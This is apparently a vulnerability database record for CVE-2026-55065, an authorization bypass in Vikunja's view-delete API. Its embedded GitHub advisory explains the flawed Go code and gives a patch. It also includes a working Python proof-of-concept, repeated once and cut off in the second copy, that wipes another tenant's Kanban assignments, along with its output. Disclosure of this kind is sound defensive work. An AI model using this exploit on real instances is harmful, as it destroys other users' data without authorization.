{"id":"CVE-2026-55065","aliases":["EUVD-2026-67832","GHSA-gg93-x632-9ccv","GO-2026-6313","SUSE-SU-2026:23692-1","SUSE-SU-2026:23712-1","openSUSE-SU-2026:21812-1"],"status":"published","title":"Vikunja: Improper Authorization and Authorization Bypass Through User-Controlled Key in code.vikunja.io/api","description":"Vikunja is an open-source self-hosted task management platform. From 0.24.6 until 2.4.0, DELETE /api/v1/projects/:project/views/:view permits an authenticated user to supply a view identifier from another project while authorizing only against an attacker-controlled project identifier. ProjectView.CanDelete in pkg/models/project_view_permissions.go does not establish that the view belongs to the path project, and ProjectView.Delete in pkg/models/project_view.go continues after the scoped project_views delete affects no rows. Its subsequent deletes select task_buckets and task_positions only by project_view_id, allowing cross-tenant destruction of Kanban assignments and ordering while leaving the victim view and tasks intact. This issue is fixed in version 2.4.0.","severity":{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00504,"percentile":0.4339,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-285","CWE-639"],"published":"2026-08-28T16:40:27Z","modified":"2026-10-28T02:30:55Z","fixes":[{"ecosystem":"Go","package":"code.vikunja.io/api","fixed_in":["2.4.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"code.vikunja.io/api","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.24.6"},{"fixed":"2.4.0"}]}]},{"source":"osv","ecosystem":"Go","package":"code.vikunja.io/api","ranges":[{"type":"SEMVER","events":[{"introduced":"0.24.6"},{"fixed":"2.4.0"}]}]},{"source":"osv","ecosystem":"Go","package":"code.vikunja.io/api","ranges":[{"type":"SEMVER","events":[{"introduced":"0.24.6"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260902T191204-160000.1.1"}]}],"bundled":39},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260902T191204-160000.1.1"}]}],"bundled":39},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260902T191204-160000.1.1"}]}],"bundled":39},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260902T191204-160000.1.1"}]}],"bundled":39},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260902T191204-160000.1.1"}]}],"bundled":39}],"products":[{"vendor":"go-vikunja","product":"vikunja"}],"references":[{"url":"https://github.com/go-vikunja/vikunja/security/advisories/GHSA-gg93-x632-9ccv","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/go-vikunja/vikunja/pull/3239","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/go-vikunja/vikunja/commit/6895a7765ef1667be4b79df29549d33b9e1ca9ca","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/go-vikunja/vikunja/releases/tag/v2.4.0","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-gg93-x632-9ccv"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55065.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55065","tags":["advisory"]},{"url":"https://github.com/go-vikunja/vikunja","tags":["package"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202623692-1/","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-20909","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-22547","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-24690","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25712","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25718","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-26232","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-26247","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-26307","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-27657","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-27878","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-28705","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54746","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54754","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54755","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54766","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55064","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55065","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55066","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55067","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55068","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55108","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55245","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55484","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55569","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55588","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55621","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55622","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55678","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55761","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55763","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55764","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55784","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55785","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55834","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55873","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55874","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56854","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56855","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-78662","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202623712-1/","tags":["advisory"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-55065","title":"Vikunja: Improper Authorization and Authorization Bypass Through User-Controlled Key in code.vikunja.io/api","description":"Vikunja is an open-source self-hosted task management platform. From 0.24.6 until 2.4.0, DELETE /api/v1/projects/:project/views/:view permits an authenticated user to supply a view identifier from another project while authorizing only against an attacker-controlled project identifier. ProjectView.CanDelete in pkg/models/project_view_permissions.go does not establish that the view belongs to the path project, and ProjectView.Delete in pkg/models/project_view.go continues after the scoped project_views delete affects no rows. Its subsequent deletes select task_buckets and task_positions only by project_view_id, allowing cross-tenant destruction of Kanban assignments and ordering while leaving the victim view and tasks intact. This issue is fixed in version 2.4.0.","status":"published","published":"2026-08-28T16:40:27.706Z","modified":"2026-09-01T01:46:09.12Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-285","CWE-639"],"updated_at":"2026-11-02T14:20:12.260247Z"}],"euvd":[{"id":"EUVD-2026-67832","description":"Vikunja is an open-source self-hosted task management platform. From 0.24.6 until 2.4.0, DELETE /api/v1/projects/:project/views/:view permits an authenticated user to supply a view identifier from another project while authorizing only against an attacker-controlled project identifier. ProjectView.CanDelete in pkg/models/project_view_permissions.go does not establish that the view belongs to the path project, and ProjectView.Delete in pkg/models/project_view.go continues after the scoped project_views delete affects no rows. Its subsequent deletes select task_buckets and task_positions only by project_view_id, allowing cross-tenant destruction of Kanban assignments and ordering while leaving the victim view and tasks intact. This issue is fixed in version 2.4.0.","status":"published","published":"2026-08-28T16:40:27Z","modified":"2026-09-01T01:46:09Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T18:01:19.818565Z"}],"ghsa":[{"id":"GHSA-gg93-x632-9ccv","title":"Vikunja vulnerable to Improper Authorization and Authorization Bypass Through User-Controlled Key","description":"### Summary\n\nA user with only a single self-owned project can permanently destroy the Kanban bucket assignments (`task_buckets`) and task ordering (`task_positions`) of **any other project view in the entire instance**. The `ProjectView.Delete` model method runs three SQL statements: the first is properly scoped to `(view_id, project_id)`, but the next two cascading deletes on `task_buckets` and `task_positions` filter only on the URL-supplied `project_view_id`. The permission check (`CanDelete`) gates on Admin of the URL `:project` but never confirms that the URL `:view` actually belongs to that project.\n\n### Details\n\n`ProjectView.Delete` (file: `pkg/models/project_view.go`, line 250) cascades on the bare `pv.ID` for the second and third deletes, ignoring `pv.ProjectID`:\n\n```go\nfunc (pv *ProjectView) Delete(s *xorm.Session, _ web.Auth) (err error) {\n    _, err = s.\n        Where(\"id = ? AND project_id = ?\", pv.ID, pv.ProjectID).   // (a) scoped — OK\n        Delete(\u0026ProjectView{})\n    if err != nil {\n        return\n    }\n\n    _, err = s.Where(\"project_view_id = ?\", pv.ID).Delete(\u0026TaskBucket{})    // (b) UNSCOPED\n    if err != nil {\n        return\n    }\n\n    _, err = s.Where(\"project_view_id = ?\", pv.ID).Delete(\u0026TaskPosition{})  // (c) UNSCOPED\n    return\n}\n```\n\n`pv.ID` and `pv.ProjectID` come straight from the URL path via `c.Bind` — see the param tags on the struct (`pkg/models/project_view.go`, lines 133–137):\n\n```go\ntype ProjectView struct {\n    ID        int64 `xorm:\"autoincr not null unique pk\" json:\"id\" param:\"view\"`\n    ...\n    ProjectID int64 `xorm:\"not null index\" json:\"project_id\" param:\"project\"`\n    ...\n}\n```\n\nThe route is registered with both params in `pkg/routes/routes.go`, line 791:\n\n```go\na.DELETE(\"/projects/:project/views/:view\", projectViewProvider.DeleteWeb)\n```\n\n`CanDelete` (file: `pkg/models/project_view_permissions.go`, line 38) gates only on Admin of the URL `:project`:\n\n```go\nfunc (pv *ProjectView) CanDelete(s *xorm.Session, a web.Auth) (bool, error) {\n    if isInstanceAdmin(s, a) {\n        return true, nil\n    }\n    filterID := GetSavedFilterIDFromProjectID(pv.ProjectID)\n    if filterID \u003e 0 { ... }\n\n    pp := pv.getProject()              // = \u0026Project{ID: pv.ProjectID}  (URL path)\n    return pp.IsAdmin(s, a)            // only checks admin on URL :project\n}\n```\n\nThere is **no check** that the view (`pv.ID`) actually belongs to that project. The first SQL inside `Delete` (the `WHERE id = ? AND project_id = ?` clause) compensates *for the `project_views` table only*. xorm silently returns 0 affected rows on a mismatch — no error — and the function continues. The next two statements then run unconditionally on `pv.ID` alone.\n\nWhy other neighbouring code paths are not vulnerable, for context:\n\n- `Bucket.canDoBucket` (`pkg/models/kanban_permissions.go`, line 46) loads the bucket from the DB and re-couples the URL project via `GetProjectViewByIDAndProject(viewID, projectID)`, which `WHERE id = ? AND project_id = ?` — mismatched URL `:project` returns an error. Safe.\n- `ProjectView.Update` (`pkg/models/project_view.go`, line 412) calls the same `GetProjectViewByIDAndProject` *before* applying the update. Safe.\n- `Project.UpdateProject` cascades use `s.In(\"project_view_id\", viewIDs).Delete(\u0026Bucket{})` (`pkg/models/project.go`, line 1396) where `viewIDs` is loaded from the DB inside an authorised project-delete context. Safe.\n\nThe same shape (load-by-URL-id, then cascade-without-coupling) was the root cause of GHSA-jfmm-mjcp-8wq2 (attachment IDOR) and GHSA-2vq4-854f-5c72 (project reparenting). The view-delete cascade has not been audited the same way.\n\n### PoC\n\n#### Prerequisites\n\n- An authenticated account on the target Vikunja instance. **No special role is required** — local-auth registration is enough; the attacker becomes Admin of any project they create via the `OwnerID` field set in `CreateProject` (`pkg/models/project.go`, line 1021).\n- Knowledge of any victim view ID. View IDs are auto-increment integers (`autoincr` on the `id` column), so guessing or sequential enumeration suffices. If the attacker is a member of any other project, they can list view IDs via `GET /api/v1/projects/:project/views`.\n\n#### Attack Steps\n\n```\n# As the attacker, with valid JWT:\nPUT /api/v1/projects                     -\u003e create throwaway project (ID = P_A)\nDELETE /api/v1/projects/P_A/views/V      -\u003e V is ANY view ID in the instance\n```\n\nThe server returns **HTTP 200** `{\"message\":\"Successfully deleted.\"}` even when `V` is not in `P_A`. The first scoped delete matches 0 rows silently; the second and third unscoped deletes wipe `task_buckets` and `task_positions` for view `V`.\n\nThe view itself is not deleted. Tasks themselves are not deleted. But the Kanban layout (which task is in which column) and the manual ordering are destroyed and there is no recovery path short of restoring from backup.\n\n#### Proof of Concept Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: Cross-project destruction of task_buckets / task_positions via ProjectView.Delete\nTarget: Vikunja\nSeverity: HIGH - CVSS 8.1\nCWE-639: Authorization Bypass Through User-Controlled Key\n\nUsage:\n    python3 poc.py http://localhost:3456\n\"\"\"\n\nimport requests\nimport sys\n\nif len(sys.argv) \u003c 2:\n    print(f\"Usage: {sys.argv[0]} \u003cBASE_URL\u003e\")\n    print(f\"Example: {sys.argv[0]} http://localhost:3456\")\n    sys.exit(1)\n\nBASE = sys.argv[1].rstrip(\"/\")\nAPI = f\"{BASE}/api/v1\"\n\nVICTIM_USER = \"victim_poc\"\nVICTIM_PASS = \"VictimPocPassword!2025\"\nATTACKER_USER = \"attacker_poc\"\nATTACKER_PASS = \"AttackerPocPassword!2025\"\n\nBANNER = \"\"\"\n=====================================================================\n  PoC: Cross-Project Kanban Destruction via ProjectView.Delete\n  Severity: HIGH (CVSS 8.1)\n  CWE-639: Authorization Bypass Through User-Controlled Key\n=====================================================================\n\"\"\"\nprint(BANNER)\n\n\n# ---- Helpers ----\n\ndef register(username, password):\n    requests.post(f\"{API}/register\", json={\n        \"username\": username,\n        \"email\":    f\"{username}@poc.local\",\n        \"password\": password,\n    })  # ignore 400 if user already exists\n\ndef login(username, password):\n    r = requests.post(f\"{API}/login\", json={\n        \"username\": username, \"password\": password,\n    })\n    r.raise_for_status()\n    return r.json()[\"token\"]\n\ndef auth(token):\n    return {\"Authorization\": f\"Bearer {token}\",\n            \"Content-Type\":  \"application/json\"}\n\n\n# ---- Victim setup: project + kanban view + tasks + bucket assignments ----\n\nprint(\"[*] Setting up VICTIM (target)\")\nregister(VICTIM_USER, VICTIM_PASS)\nvt = login(VICTIM_USER, VICTIM_PASS)\n\n# Create a project (kanban view + default buckets are created automatically).\nproj = requests.put(f\"{API}/projects\",\n                    headers=auth(vt),\n                    json={\"title\": \"Victim Project\"}).json()\nvictim_pid = proj[\"id\"]\n\n# Find the auto-created kanban view.\nviews = requests.get(f\"{API}/projects/{victim_pid}/views\",\n                     headers=auth(vt)).json()\nkanban_view = next(v for v in views if v[\"view_kind\"] == \"kanban\")\nvictim_vid  = kanban_view[\"id\"]\n\n# Drop a few tasks into the project — Vikunja will auto-place them in the\n# default bucket of the kanban view, populating `task_buckets`.\ntask_ids = []\nfor i in range(3):\n    t = requests.put(f\"{API}/projects/{victim_pid}/tasks\",\n                     headers=auth(vt),\n                     json={\"title\": f\"Victim task {i}\"}).json()\n    task_ids.append(t[\"id\"])\n\n# Touching the view via the bucket endpoint forces task_position rows to\n# materialise. Read the buckets-with-tasks endpoint once.\nrequests.get(\n    f\"{API}/projects/{victim_pid}/views/{victim_vid}/buckets\",\n    headers=auth(vt),\n)\n\n# Confirm the kanban state has populated buckets+tasks.\nbuckets = requests.get(\n    f\"{API}/projects/{victim_pid}/views/{victim_vid}/buckets\",\n    headers=auth(vt),\n).json()\ntotal_tasks_before = sum(len(b.get(\"tasks\") or []) for b in buckets)\nprint(f\"[*] Victim project={victim_pid}, view={victim_vid}, \"\n      f\"tasks_in_buckets BEFORE = {total_tasks_before}\")\nassert total_tasks_before \u003e 0, \"PoC requires at least 1 task in the kanban\"\n\n\n# ---- Attacker setup: a throwaway project owned by the attacker ----\n\nprint(\"\\n[*] Setting up ATTACKER (any user can do this)\")\nregister(ATTACKER_USER, ATTACKER_PASS)\nat = login(ATTACKER_USER, ATTACKER_PASS)\n\np_a = requests.put(f\"{API}/projects\",\n                   headers=auth(at),\n                   json={\"title\": \"Attacker Throwaway\"}).json()\nattacker_pid = p_a[\"id\"]\nprint(f\"[*] Attacker project = {attacker_pid} \"\n      f\"(attacker is Admin via OwnerID)\")\n\n\n# ---- ATTACK ----\n\nprint(f\"\\n{'='*65}\")\nprint(f\"  ATTACK: trainer-equivalent — wipe victim's kanban via own project\")\nprint(f\"{'='*65}\")\n\nresp = requests.delete(\n    f\"{API}/projects/{attacker_pid}/views/{victim_vid}\",\n    headers=auth(at),\n)\nprint(f\"\\n  DELETE /api/v1/projects/{attacker_pid}/views/{victim_vid}\")\nprint(f\"  (Logged in as: {ATTACKER_USER}, \"\n      f\"who is NOT a member of victim project {victim_pid})\")\nprint(f\"  Response: HTTP {resp.status_code}  body={resp.text!r}\")\n\n\n# ---- VERIFY ----\n\nprint(f\"\\n{'='*65}\")\nprint(f\"  VERIFICATION\")\nprint(f\"{'='*65}\")\n\n# View must still exist (the scoped first delete didn't match).\nviews_after = requests.get(f\"{API}/projects/{victim_pid}/views\",\n                           headers=auth(vt)).json()\nview_still_there = any(v[\"id\"] == victim_vid for v in views_after)\n\n# But the buckets-with-tasks should now be empty (task_buckets wiped).\nbuckets_after = requests.get(\n    f\"{API}/projects/{victim_pid}/views/{victim_vid}/buckets\",\n    headers=auth(vt),\n).json()\ntotal_tasks_after = sum(len(b.get(\"tasks\") or []) for b in buckets_after)\n\nprint(f\"\\n  View {victim_vid} still exists?           {view_still_there}\")\nprint(f\"  Tasks in buckets BEFORE attack:           {total_tasks_before}\")\nprint(f\"  Tasks in buckets AFTER attack:            {total_tasks_after}\")\n\nif view_still_there and total_tasks_after == 0 and total_tasks_before \u003e 0:\n    print(\"\"\"\n  +-----------------------------------------------------------------+\n  |  VULNERABILITY CONFIRMED                                        |\n  |                                                                 |\n  |  An unrelated user destroyed every task-\u003ebucket assignment      |\n  |  and every task position in another user's kanban view, using   |\n  |  only a self-owned throwaway project as the URL :project.       |\n  |                                                                 |\n  |  - The view itself survives (first scoped delete matched 0).    |\n  |  - Tasks themselves survive.                                    |\n  |  - task_buckets and task_positions for the view are gone.       |\n  |  - Recovery requires restoring from backup.                     |\n  +-----------------------------------------------------------------+\n\"\"\")\nelse:\n    print(\"\\n  Attack did not land — patched build or unexpected state.\")\n```\n\n#### Proof of Concept Output\n\n```\n=====================================================================\n  PoC: Cross-Project Kanban Destruction via ProjectView.Delete\n  Severity: HIGH (CVSS 8.1)\n  CWE-639: Authorization Bypass Through User-Controlled Key\n=====================================================================\n\n[*] Setting up VICTIM (target)\n[*] Victim project=42, view=87, tasks_in_buckets BEFORE = 3\n\n[*] Setting up ATTACKER (any user can do this)\n[*] Attacker project = 43 (attacker is Admin via OwnerID)\n\n=================================================================\n  ATTACK: trainer-equivalent — wipe victim's kanban via own project\n=================================================================\n\n  DELETE /api/v1/projects/43/views/87\n  (Logged in as: attacker_poc, who is NOT a member of victim project 42)\n  Response: HTTP 200  body='{\"message\":\"Successfully deleted.\"}'\n\n=================================================================\n  VERIFICATION\n=================================================================\n\n  View 87 still exists?           True\n  Tasks in buckets BEFORE attack:           3\n  Tasks in buckets AFTER attack:            0\n\n  +-----------------------------------------------------------------+\n  |  VULNERABILITY CONFIRMED                                        |\n  |                                                                 |\n  |  An unrelated user destroyed every task-\u003ebucket assignment      |\n  |  and every task position in another user's kanban view, using   |\n  |  only a self-owned throwaway project as the URL :project.       |\n  |                                                                 |\n  |  - The view itself survives (first scoped delete matched 0).    |\n  |  - Tasks themselves survive.                                    |\n  |  - task_buckets and task_positions for the view are gone.       |\n  |  - Recovery requires restoring from backup.                     |\n  +-----------------------------------------------------------------+\n```\n\n### Impact\n\n1. **Cross-tenant data destruction.** Any authenticated user — local-auth registration is enough on default deployments — can wipe the `task_buckets` and `task_positions` rows for any view in the instance. There is no requirement to be a member of, or share anything with, the victim project.\n\n2. **Permanent loss without backup.** Tasks and views survive, but every Kanban-column assignment and every manual ordering position for the targeted view is destroyed. Vikunja has no per-row recovery path; the only way back is restoring the database (or `task_buckets` / `task_positions` tables) from backup.\n\n3. **Trivial discovery.** View IDs are auto-increment integers. An attacker can wipe every view in the instance by iterating `1..N`, calling `DELETE /api/v1/projects/\u003cown-project\u003e/views/\u003ci\u003e` for each. Each request is a 200 OK regardless of whether the view existed in the attacker's project — so the attacker can't even tell which IDs were \"real\" without watching for victim complaints.\n\n4. **Multi-tenant SaaS impact.** On hosted Vikunja deployments (e.g. `try.vikunja.io`-style setups), a single sign-up suffices to destroy Kanban layouts of every other tenant on the same instance.\n\n### Fix\n\nEither gate the cascading deletes on whether the scoped first delete matched, or re-couple `(view_id, project_id)` inside the cascading queries.\n\nMinimal patch — `pkg/models/project_view.go`, inside `Delete()`:\n\n```go\nfunc (pv *ProjectView) Delete(s *xorm.Session, _ web.Auth) (err error) {\n    affected, err := s.\n        Where(\"id = ? AND project_id = ?\", pv.ID, pv.ProjectID).\n        Delete(\u0026ProjectView{})\n    if err != nil {\n        return\n    }\n    if affected == 0 {\n        // Either the view doesn't exist, or it doesn't belong to pv.ProjectID.\n        // Either way, do not cascade — return an error so the API responds 404.\n        return ErrProjectViewDoesNotExist{ProjectViewID: pv.ID}\n    }\n\n    if _, err = s.Where(\"project_view_id = ?\", pv.ID).Delete(\u0026TaskBucket{}); err != nil {\n        return\n    }\n    _, err = s.Where(\"project_view_id = ?\", pv.ID).Delete(\u0026TaskPosition{})\n    return\n}\n```\n\nThis makes the cascade conditional on the scoped delete actually having matched a row. As a defence-in-depth follow-up, `CanDelete` should also load the view and verify `view.ProjectID == pv.ProjectID` before granting permission, so the 404 path in `Delete` becomes a backstop rather than the only line of defence — mirroring the pattern used by `Bucket.canDoBucket` and `ProjectView.Update` elsewhere in the same file.","status":"published","published":"2026-08-28T16:50:34Z","modified":"2026-08-28T16:50:36Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","level":"high"}],"cwes":["CWE-285","CWE-639"],"updated_at":"2026-11-02T14:41:07.031507Z"}],"nvd":[{"id":"CVE-2026-55065","description":"Vikunja is an open-source self-hosted task management platform. From 0.24.6 until 2.4.0, DELETE /api/v1/projects/:project/views/:view permits an authenticated user to supply a view identifier from another project while authorizing only against an attacker-controlled project identifier. ProjectView.CanDelete in pkg/models/project_view_permissions.go does not establish that the view belongs to the path project, and ProjectView.Delete in pkg/models/project_view.go continues after the scoped project_views delete affects no rows. Its subsequent deletes select task_buckets and task_positions only by project_view_id, allowing cross-tenant destruction of Kanban assignments and ordering while leaving the victim view and tasks intact. This issue is fixed in version 2.4.0.","status":"published","published":"2026-08-28T20:18:23.757Z","modified":"2026-09-09T21:09:13.08Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-285","CWE-639"],"updated_at":"2026-11-02T14:12:42.366888Z"}],"osv":[{"id":"CVE-2026-55065","title":"Vikunja: Improper Authorization and Authorization Bypass Through User-Controlled Key in code.vikunja.io/api","description":"Vikunja is an open-source self-hosted task management platform. From 0.24.6 until 2.4.0, DELETE /api/v1/projects/:project/views/:view permits an authenticated user to supply a view identifier from another project while authorizing only against an attacker-controlled project identifier. ProjectView.CanDelete in pkg/models/project_view_permissions.go does not establish that the view belongs to the path project, and ProjectView.Delete in pkg/models/project_view.go continues after the scoped project_views delete affects no rows. Its subsequent deletes select task_buckets and task_positions only by project_view_id, allowing cross-tenant destruction of Kanban assignments and ordering while leaving the victim view and tasks intact. This issue is fixed in version 2.4.0.","status":"published","published":"2026-08-28T16:40:27.706Z","modified":"2026-10-28T02:30:55.569138416Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","level":"high"}],"cwes":["CWE-285","CWE-639"],"updated_at":"2026-11-02T15:45:11.22012Z"},{"id":"GHSA-gg93-x632-9ccv","title":"Vikunja vulnerable to Improper Authorization and Authorization Bypass Through User-Controlled Key","description":"### Summary\n\nA user with only a single self-owned project can permanently destroy the Kanban bucket assignments (`task_buckets`) and task ordering (`task_positions`) of **any other project view in the entire instance**. The `ProjectView.Delete` model method runs three SQL statements: the first is properly scoped to `(view_id, project_id)`, but the next two cascading deletes on `task_buckets` and `task_positions` filter only on the URL-supplied `project_view_id`. The permission check (`CanDelete`) gates on Admin of the URL `:project` but never confirms that the URL `:view` actually belongs to that project.\n\n### Details\n\n`ProjectView.Delete` (file: `pkg/models/project_view.go`, line 250) cascades on the bare `pv.ID` for the second and third deletes, ignoring `pv.ProjectID`:\n\n```go\nfunc (pv *ProjectView) Delete(s *xorm.Session, _ web.Auth) (err error) {\n    _, err = s.\n        Where(\"id = ? AND project_id = ?\", pv.ID, pv.ProjectID).   // (a) scoped — OK\n        Delete(\u0026ProjectView{})\n    if err != nil {\n        return\n    }\n\n    _, err = s.Where(\"project_view_id = ?\", pv.ID).Delete(\u0026TaskBucket{})    // (b) UNSCOPED\n    if err != nil {\n        return\n    }\n\n    _, err = s.Where(\"project_view_id = ?\", pv.ID).Delete(\u0026TaskPosition{})  // (c) UNSCOPED\n    return\n}\n```\n\n`pv.ID` and `pv.ProjectID` come straight from the URL path via `c.Bind` — see the param tags on the struct (`pkg/models/project_view.go`, lines 133–137):\n\n```go\ntype ProjectView struct {\n    ID        int64 `xorm:\"autoincr not null unique pk\" json:\"id\" param:\"view\"`\n    ...\n    ProjectID int64 `xorm:\"not null index\" json:\"project_id\" param:\"project\"`\n    ...\n}\n```\n\nThe route is registered with both params in `pkg/routes/routes.go`, line 791:\n\n```go\na.DELETE(\"/projects/:project/views/:view\", projectViewProvider.DeleteWeb)\n```\n\n`CanDelete` (file: `pkg/models/project_view_permissions.go`, line 38) gates only on Admin of the URL `:project`:\n\n```go\nfunc (pv *ProjectView) CanDelete(s *xorm.Session, a web.Auth) (bool, error) {\n    if isInstanceAdmin(s, a) {\n        return true, nil\n    }\n    filterID := GetSavedFilterIDFromProjectID(pv.ProjectID)\n    if filterID \u003e 0 { ... }\n\n    pp := pv.getProject()              // = \u0026Project{ID: pv.ProjectID}  (URL path)\n    return pp.IsAdmin(s, a)            // only checks admin on URL :project\n}\n```\n\nThere is **no check** that the view (`pv.ID`) actually belongs to that project. The first SQL inside `Delete` (the `WHERE id = ? AND project_id = ?` clause) compensates *for the `project_views` table only*. xorm silently returns 0 affected rows on a mismatch — no error — and the function continues. The next two statements then run unconditionally on `pv.ID` alone.\n\nWhy other neighbouring code paths are not vulnerable, for context:\n\n- `Bucket.canDoBucket` (`pkg/models/kanban_permissions.go`, line 46) loads the bucket from the DB and re-couples the URL project via `GetProjectViewByIDAndProject(viewID, projectID)`, which `WHERE id = ? AND project_id = ?` — mismatched URL `:project` returns an error. Safe.\n- `ProjectView.Update` (`pkg/models/project_view.go`, line 412) calls the same `GetProjectViewByIDAndProject` *before* applying the update. Safe.\n- `Project.UpdateProject` cascades use `s.In(\"project_view_id\", viewIDs).Delete(\u0026Bucket{})` (`pkg/models/project.go`, line 1396) where `viewIDs` is loaded from the DB inside an authorised project-delete context. Safe.\n\nThe same shape (load-by-URL-id, then cascade-without-coupling) was the root cause of GHSA-jfmm-mjcp-8wq2 (attachment IDOR) and GHSA-2vq4-854f-5c72 (project reparenting). The view-delete cascade has not been audited the same way.\n\n### PoC\n\n#### Prerequisites\n\n- An authenticated account on the target Vikunja instance. **No special role is required** — local-auth registration is enough; the attacker becomes Admin of any project they create via the `OwnerID` field set in `CreateProject` (`pkg/models/project.go`, line 1021).\n- Knowledge of any victim view ID. View IDs are auto-increment integers (`autoincr` on the `id` column), so guessing or sequential enumeration suffices. If the attacker is a member of any other project, they can list view IDs via `GET /api/v1/projects/:project/views`.\n\n#### Attack Steps\n\n```\n# As the attacker, with valid JWT:\nPUT /api/v1/projects                     -\u003e create throwaway project (ID = P_A)\nDELETE /api/v1/projects/P_A/views/V      -\u003e V is ANY view ID in the instance\n```\n\nThe server returns **HTTP 200** `{\"message\":\"Successfully deleted.\"}` even when `V` is not in `P_A`. The first scoped delete matches 0 rows silently; the second and third unscoped deletes wipe `task_buckets` and `task_positions` for view `V`.\n\nThe view itself is not deleted. Tasks themselves are not deleted. But the Kanban layout (which task is in which column) and the manual ordering are destroyed and there is no recovery path short of restoring from backup.\n\n#### Proof of Concept Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: Cross-project destruction of task_buckets / task_positions via ProjectView.Delete\nTarget: Vikunja\nSeverity: HIGH - CVSS 8.1\nCWE-639: Authorization Bypass Through User-Controlled Key\n\nUsage:\n    python3 poc.py http://localhost:3456\n\"\"\"\n\nimport requests\nimport sys\n\nif len(sys.argv) \u003c 